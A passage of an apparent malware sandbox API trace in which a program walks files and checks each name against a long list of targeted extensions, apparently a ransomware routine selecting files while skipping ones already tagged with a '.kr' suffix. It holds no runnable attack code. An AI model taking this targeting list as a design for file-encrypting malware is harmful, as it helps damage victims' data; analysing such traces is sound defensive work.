lstrlenW (lpString=".inc") returned 4 [0079.647] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".indd") returned 5 [0079.647] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0079.647] lstrlenW (lpString=".ini") returned 4 [0079.647] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".iqy") returned 4 [0079.647] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".j2c") returned 4 [0079.647] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".j2k") returned 4 [0079.647] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".java") returned 5 [0079.648] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0079.648] lstrlenW (lpString=".jp2") returned 4 [0079.648] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".jpc") returned 4 [0079.648] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".jpe") returned 4 [0079.648] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".jpeg") returned 5 [0079.648] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0079.648] lstrlenW (lpString=".jpf") returned 4 [0079.648] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".jpg") returned 4 [0079.648] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".jpx") returned 4 [0079.648] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".js") returned 3 [0079.648] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0079.648] lstrlenW (lpString=".jsf") returned 4 [0079.648] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".json") returned 5 [0079.648] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0079.648] lstrlenW (lpString=".jsp") returned 4 [0079.648] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".kdc") returned 4 [0079.648] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".kmz") returned 4 [0079.648] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".kwm") returned 4 [0079.648] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0079.648] lstrlenW (lpString=".lasso") returned 6 [0079.648] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0079.648] lstrlenW (lpString=".lbi") returned 4 [0079.648] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".lgf") returned 4 [0079.649] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".lgp") returned 4 [0079.649] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".log") returned 4 [0079.649] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".m1v") returned 4 [0079.649] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".m4a") returned 4 [0079.649] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".m4v") returned 4 [0079.649] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".max") returned 4 [0079.649] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".md") returned 3 [0079.649] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0079.649] lstrlenW (lpString=".mda") returned 4 [0079.649] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mdb") returned 4 [0079.649] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mde") returned 4 [0079.649] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mdf") returned 4 [0079.649] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mdw") returned 4 [0079.649] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mef") returned 4 [0079.649] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mft") returned 4 [0079.649] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mfw") returned 4 [0079.649] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0079.649] lstrlenW (lpString=".mht") returned 4 [0079.649] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mhtml") returned 6 [0079.650] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0079.650] lstrlenW (lpString=".mka") returned 4 [0079.650] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mkidx") returned 6 [0079.650] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0079.650] lstrlenW (lpString=".mkv") returned 4 [0079.650] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mos") returned 4 [0079.650] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mov") returned 4 [0079.650] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mp3") returned 4 [0079.650] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mp4") returned 4 [0079.650] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mpeg") returned 5 [0079.650] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0079.650] lstrlenW (lpString=".mpg") returned 4 [0079.650] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mpv") returned 4 [0079.650] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mrw") returned 4 [0079.650] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".msg") returned 4 [0079.650] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".mxl") returned 4 [0079.650] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".myd") returned 4 [0079.650] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".myi") returned 4 [0079.650] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0079.650] lstrlenW (lpString=".nef") returned 4 [0079.651] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".nrw") returned 4 [0079.651] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".obj") returned 4 [0079.651] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".odb") returned 4 [0079.651] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".odc") returned 4 [0079.651] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".odm") returned 4 [0079.651] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".odp") returned 4 [0079.651] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".ods") returned 4 [0079.651] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".oft") returned 4 [0079.651] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".one") returned 4 [0079.651] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".onepkg") returned 7 [0079.651] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0079.651] lstrlenW (lpString=".onetoc2") returned 8 [0079.651] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0079.651] lstrlenW (lpString=".opt") returned 4 [0079.651] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".oqy") returned 4 [0079.651] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".orf") returned 4 [0079.651] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".p12") returned 4 [0079.651] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".p7b") returned 4 [0079.651] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0079.651] lstrlenW (lpString=".p7c") returned 4 [0079.652] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pam") returned 4 [0079.652] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pbm") returned 4 [0079.652] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pct") returned 4 [0079.652] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pcx") returned 4 [0079.652] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pdd") returned 4 [0079.652] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pdf") returned 4 [0079.652] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pdp") returned 4 [0079.652] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pef") returned 4 [0079.652] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pem") returned 4 [0079.652] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pff") returned 4 [0079.652] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pfm") returned 4 [0079.652] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pfx") returned 4 [0079.652] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".pgm") returned 4 [0079.652] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".php") returned 4 [0079.652] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0079.652] lstrlenW (lpString=".php3") returned 5 [0079.652] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0079.652] lstrlenW (lpString=".php4") returned 5 [0079.652] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0079.652] lstrlenW (lpString=".php5") returned 5 [0079.653] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0079.653] lstrlenW (lpString=".phtml") returned 6 [0079.653] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0079.653] lstrlenW (lpString=".pict") returned 5 [0079.653] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0079.653] lstrlenW (lpString=".pl") returned 3 [0079.653] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0079.653] lstrlenW (lpString=".pls") returned 4 [0079.653] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0079.653] lstrlenW (lpString=".pm") returned 3 [0079.653] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0079.653] lstrlenW (lpString=".png") returned 4 [0079.653] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0079.653] lstrlenW (lpString=".pnm") returned 4 [0079.653] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0079.653] lstrlenW (lpString=".pot") returned 4 [0079.653] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0079.653] lstrlenW (lpString=".potm") returned 5 [0079.653] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0079.653] lstrlenW (lpString=".potx") returned 5 [0079.653] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0079.653] lstrlenW (lpString=".ppa") returned 4 [0079.653] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0079.653] lstrlenW (lpString=".ppam") returned 5 [0079.653] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0079.653] lstrlenW (lpString=".ppm") returned 4 [0079.653] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0079.653] lstrlenW (lpString=".pps") returned 4 [0081.395] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0081.395] lstrlenW (lpString=".ppsm") returned 5 [0081.395] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0081.395] lstrlenW (lpString=".ppt") returned 4 [0081.395] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0081.395] lstrlenW (lpString=".pptm") returned 5 [0081.395] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0081.395] lstrlenW (lpString=".pptx") returned 5 [0081.395] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0081.395] lstrlenW (lpString=".prn") returned 4 [0081.395] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0081.395] lstrlenW (lpString=".ps") returned 3 [0081.395] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0081.396] lstrlenW (lpString=".psb") returned 4 [0081.396] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".psd") returned 4 [0081.396] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".pst") returned 4 [0081.396] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".ptx") returned 4 [0081.396] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".pub") returned 4 [0081.396] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".pwm") returned 4 [0081.396] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".pxr") returned 4 [0081.396] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".py") returned 3 [0081.396] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0081.396] lstrlenW (lpString=".qt") returned 3 [0081.396] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0081.396] lstrlenW (lpString=".r3d") returned 4 [0081.396] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".raf") returned 4 [0081.396] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".rar") returned 4 [0081.396] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".raw") returned 4 [0081.396] lstrcmpiW (lpString1=".raw", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".rdf") returned 4 [0081.396] lstrcmpiW (lpString1=".rdf", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".rgbe") returned 5 [0081.396] lstrcmpiW (lpString1=".rgbe", lpString2="c].kr") returned -1 [0081.396] lstrlenW (lpString=".rle") returned 4 [0081.396] lstrcmpiW (lpString1=".rle", lpString2="].kr") returned -1 [0081.396] lstrlenW (lpString=".rqy") returned 4 [0081.397] lstrcmpiW (lpString1=".rqy", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".rss") returned 4 [0081.397] lstrcmpiW (lpString1=".rss", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".rtf") returned 4 [0081.397] lstrcmpiW (lpString1=".rtf", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".rw2") returned 4 [0081.397] lstrcmpiW (lpString1=".rw2", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".rwl") returned 4 [0081.397] lstrcmpiW (lpString1=".rwl", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".safe") returned 5 [0081.397] lstrcmpiW (lpString1=".safe", lpString2="c].kr") returned -1 [0081.397] lstrlenW (lpString=".sct") returned 4 [0081.397] lstrcmpiW (lpString1=".sct", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".sdpx") returned 5 [0081.397] lstrcmpiW (lpString1=".sdpx", lpString2="c].kr") returned -1 [0081.397] lstrlenW (lpString=".shtm") returned 5 [0081.397] lstrcmpiW (lpString1=".shtm", lpString2="c].kr") returned -1 [0081.397] lstrlenW (lpString=".shtml") returned 6 [0081.397] lstrcmpiW (lpString1=".shtml", lpString2="cc].kr") returned -1 [0081.397] lstrlenW (lpString=".slk") returned 4 [0081.397] lstrcmpiW (lpString1=".slk", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".sln") returned 4 [0081.397] lstrcmpiW (lpString1=".sln", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".sql") returned 4 [0081.397] lstrcmpiW (lpString1=".sql", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".sr2") returned 4 [0081.397] lstrcmpiW (lpString1=".sr2", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".srf") returned 4 [0081.397] lstrcmpiW (lpString1=".srf", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".srw") returned 4 [0081.397] lstrcmpiW (lpString1=".srw", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".ssi") returned 4 [0081.397] lstrcmpiW (lpString1=".ssi", lpString2="].kr") returned -1 [0081.397] lstrlenW (lpString=".st") returned 3 [0081.398] lstrcmpiW (lpString1=".st", lpString2=".kr") returned 1 [0081.398] lstrlenW (lpString=".stm") returned 4 [0081.398] lstrcmpiW (lpString1=".stm", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".svg") returned 4 [0081.398] lstrcmpiW (lpString1=".svg", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".svgz") returned 5 [0081.398] lstrcmpiW (lpString1=".svgz", lpString2="c].kr") returned -1 [0081.398] lstrlenW (lpString=".swf") returned 4 [0081.398] lstrcmpiW (lpString1=".swf", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tab") returned 4 [0081.398] lstrcmpiW (lpString1=".tab", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tar") returned 4 [0081.398] lstrcmpiW (lpString1=".tar", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tbb") returned 4 [0081.398] lstrcmpiW (lpString1=".tbb", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tbi") returned 4 [0081.398] lstrcmpiW (lpString1=".tbi", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tbk") returned 4 [0081.398] lstrcmpiW (lpString1=".tbk", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tdi") returned 4 [0081.398] lstrcmpiW (lpString1=".tdi", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tga") returned 4 [0081.398] lstrcmpiW (lpString1=".tga", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".thmx") returned 5 [0081.398] lstrcmpiW (lpString1=".thmx", lpString2="c].kr") returned -1 [0081.398] lstrlenW (lpString=".tif") returned 4 [0081.398] lstrcmpiW (lpString1=".tif", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".tiff") returned 5 [0081.398] lstrcmpiW (lpString1=".tiff", lpString2="c].kr") returned -1 [0081.398] lstrlenW (lpString=".tld") returned 4 [0081.398] lstrcmpiW (lpString1=".tld", lpString2="].kr") returned -1 [0081.398] lstrlenW (lpString=".torrent") returned 8 [0081.399] lstrcmpiW (lpString1=".torrent", lpString2="l.cc].kr") returned -1 [0081.399] lstrlenW (lpString=".tpl") returned 4 [0081.399] lstrcmpiW (lpString1=".tpl", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".txt") returned 4 [0081.399] lstrcmpiW (lpString1=".txt", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".u3d") returned 4 [0081.399] lstrcmpiW (lpString1=".u3d", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".udl") returned 4 [0081.399] lstrcmpiW (lpString1=".udl", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".uxdc") returned 5 [0081.399] lstrcmpiW (lpString1=".uxdc", lpString2="c].kr") returned -1 [0081.399] lstrlenW (lpString=".vb") returned 3 [0081.399] lstrcmpiW (lpString1=".vb", lpString2=".kr") returned 1 [0081.399] lstrlenW (lpString=".vbs") returned 4 [0081.399] lstrcmpiW (lpString1=".vbs", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vcs") returned 4 [0081.399] lstrcmpiW (lpString1=".vcs", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vda") returned 4 [0081.399] lstrcmpiW (lpString1=".vda", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vdr") returned 4 [0081.399] lstrcmpiW (lpString1=".vdr", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vdw") returned 4 [0081.399] lstrcmpiW (lpString1=".vdw", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vdx") returned 4 [0081.399] lstrcmpiW (lpString1=".vdx", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vrp") returned 4 [0081.399] lstrcmpiW (lpString1=".vrp", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vsd") returned 4 [0081.399] lstrcmpiW (lpString1=".vsd", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vss") returned 4 [0081.399] lstrcmpiW (lpString1=".vss", lpString2="].kr") returned -1 [0081.399] lstrlenW (lpString=".vst") returned 4 [0081.399] lstrcmpiW (lpString1=".vst", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".vsw") returned 4 [0081.400] lstrcmpiW (lpString1=".vsw", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".vsx") returned 4 [0081.400] lstrcmpiW (lpString1=".vsx", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".vtm") returned 4 [0081.400] lstrcmpiW (lpString1=".vtm", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".vtml") returned 5 [0081.400] lstrcmpiW (lpString1=".vtml", lpString2="c].kr") returned -1 [0081.400] lstrlenW (lpString=".vtx") returned 4 [0081.400] lstrcmpiW (lpString1=".vtx", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wb2") returned 4 [0081.400] lstrcmpiW (lpString1=".wb2", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wav") returned 4 [0081.400] lstrcmpiW (lpString1=".wav", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wbm") returned 4 [0081.400] lstrcmpiW (lpString1=".wbm", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wbmp") returned 5 [0081.400] lstrcmpiW (lpString1=".wbmp", lpString2="c].kr") returned -1 [0081.400] lstrlenW (lpString=".wim") returned 4 [0081.400] lstrcmpiW (lpString1=".wim", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wmf") returned 4 [0081.400] lstrcmpiW (lpString1=".wmf", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wml") returned 4 [0081.400] lstrcmpiW (lpString1=".wml", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wmv") returned 4 [0081.400] lstrcmpiW (lpString1=".wmv", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wpd") returned 4 [0081.400] lstrcmpiW (lpString1=".wpd", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".wps") returned 4 [0081.400] lstrcmpiW (lpString1=".wps", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".x3f") returned 4 [0081.400] lstrcmpiW (lpString1=".x3f", lpString2="].kr") returned -1 [0081.400] lstrlenW (lpString=".xl") returned 3 [0081.400] lstrcmpiW (lpString1=".xl", lpString2=".kr") returned 1 [0081.401] lstrlenW (lpString=".xla") returned 4 [0081.401] lstrcmpiW (lpString1=".xla", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xlam") returned 5 [0081.401] lstrcmpiW (lpString1=".xlam", lpString2="c].kr") returned -1 [0081.401] lstrlenW (lpString=".xlk") returned 4 [0081.401] lstrcmpiW (lpString1=".xlk", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xlm") returned 4 [0081.401] lstrcmpiW (lpString1=".xlm", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xls") returned 4 [0081.401] lstrcmpiW (lpString1=".xls", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xlsb") returned 5 [0081.401] lstrcmpiW (lpString1=".xlsb", lpString2="c].kr") returned -1 [0081.401] lstrlenW (lpString=".xlsm") returned 5 [0081.401] lstrcmpiW (lpString1=".xlsm", lpString2="c].kr") returned -1 [0081.401] lstrlenW (lpString=".xlsx") returned 5 [0081.401] lstrcmpiW (lpString1=".xlsx", lpString2="c].kr") returned -1 [0081.401] lstrlenW (lpString=".xlt") returned 4 [0081.401] lstrcmpiW (lpString1=".xlt", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xltm") returned 5 [0081.401] lstrcmpiW (lpString1=".xltm", lpString2="c].kr") returned -1 [0081.401] lstrlenW (lpString=".xltx") returned 5 [0081.401] lstrcmpiW (lpString1=".xltx", lpString2="c].kr") returned -1 [0081.401] lstrlenW (lpString=".xlw") returned 4 [0081.401] lstrcmpiW (lpString1=".xlw", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xml") returned 4 [0081.401] lstrcmpiW (lpString1=".xml", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xps") returned 4 [0081.401] lstrcmpiW (lpString1=".xps", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xsd") returned 4 [0081.401] lstrcmpiW (lpString1=".xsd", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xsf") returned 4 [0081.401] lstrcmpiW (lpString1=".xsf", lpString2="].kr") returned -1 [0081.401] lstrlenW (lpString=".xsl") returned 4 [0081.401] lstrcmpiW (lpString1=".xsl", lpString2="].kr") returned -1 [0081.402] lstrlenW (lpString=".xslt") returned 5 [0081.402] lstrcmpiW (lpString1=".xslt", lpString2="c].kr") returned -1 [0081.402] lstrlenW (lpString=".xsn") returned 4 [0081.402] lstrcmpiW (lpString1=".xsn", lpString2="].kr") returned -1 [0081.402] lstrlenW (lpString=".xtp") returned 4 [0081.402] lstrcmpiW (lpString1=".xtp", lpString2="].kr") returned -1 [0081.402] lstrlenW (lpString=".xtp2") returned 5 [0081.402] lstrcmpiW (lpString1=".xtp2", lpString2="c].kr") returned -1 [0081.402] lstrlenW (lpString=".xyze") returned 5 [0081.402] lstrcmpiW (lpString1=".xyze", lpString2="c].kr") returned -1 [0081.402] lstrlenW (lpString=".xz") returned 3 [0081.402] lstrcmpiW (lpString1=".xz", lpString2=".kr") returned 1 [0081.402] lstrlenW (lpString=".zip") returned 4 [0081.402] lstrcmpiW (lpString1=".zip", lpString2="].kr") returned -1 [0081.402] lstrlenW (lpString=".kr") returned 3 [0081.402] lstrcmpiW (lpString1=".kr", lpString2=".kr") returned 0 [0081.402] FindNextFileW (in: hFindFile=0x42600d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0081.402] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0081.402] lstrlenW (lpString=".1cd") returned 4 [0081.402] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0081.402] lstrlenW (lpString=".3ds") returned 4 [0081.402] lstrcmpiW (lpString1=".3ds", lpString2=".cmd") returned -1 [0081.402] lstrlenW (lpString=".3fr") returned 4 [0081.402] lstrcmpiW (lpString1=".3fr", lpString2=".cmd") returned -1 [0081.402] lstrlenW (lpString=".3g2") returned 4 [0081.402] lstrcmpiW (lpString1=".3g2", lpString2=".cmd") returned -1 [0081.402] lstrlenW (lpString=".3gp") returned 4 [0081.402] lstrcmpiW 